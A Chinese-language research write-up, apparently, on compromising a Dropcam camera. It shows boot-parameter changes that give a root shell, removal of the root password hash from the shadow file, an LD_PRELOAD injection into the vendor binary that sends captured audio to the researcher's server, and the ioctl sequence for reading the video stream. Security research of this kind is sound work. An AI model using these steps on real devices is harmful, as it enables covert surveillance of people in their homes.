amboot>setenv cmdline DCSECconsole=ttyS0 ubi.mtd=bak root=ubi0:rootfs rw rootfstype=ubifs init=/bin/sh
(该命令表明,设置boot参数到
/bin/sh下)# ls -l /etc/shadow
/etc/shadow ->/mnt/dropcam/shadow
# more /etc/fstab
/dev/root / ext2
…
NFS configurationfor ttyS0
/dev/mtdblock9/mnt/dropcam jffs2
# mount -tjffs2 /dev/mtdblock9/mnt/dropcam
# vi /mnt/dropcam/shadow
root:$1$Sf9tWhv6$HCsGEUpFvigVcL7aV4V2t.:10933:0:99999:7:::
# more /mnt/dropcam/shadow
root::10933:0:99999:7:::
#uname -a
Linux Ambarella 2.6.38.8 #80 Aug 2013 armv6l GNU/Linux
# ps aux | grepconnect
821 root 0:10/usr/bin/connect
823 root 0:13 /usr/bin/connect dropcam specific binaries
824 root 0:00/usr/bin/connect
思想是:所有的音视频流都得从系统的API接口和IOCTL接口流出到dropcam的云端。
因此尝试连接音频卡:
# arecord (ALSA声卡驱动的录音程序)
#LD_PRELOAD=./injectMe.so /usr/biin/connect
ALSA(Advanced Linux Sound Architecture)可以用来读取读取音频,例如:
Get audio via snd_pcm_readn()
通过这种方式,研究者写了一段注入代码,里面读取音频数据,并把它发送到自己的服务器中。
A) 打开设备/dev/iav
B) 通过ioctl获取h264的参数, IAV_IOC_GET_H264_CONFIG_EX
C) 通过ioctl 找到系统构建(BSB)内存映射图 IAV_IOC_MAP_BSB
D) 通过ioctl 找到DSP 内存映射图 IAV_IOC_MAP_DSP
E) 通过ioctl 获取流的状态 IAV_IOC_GET_ENCODE_STREAM_INFO_EX
F) 最后,通过ioctl读取流数据,IAV_IOC_READ_BITSTREAM_EX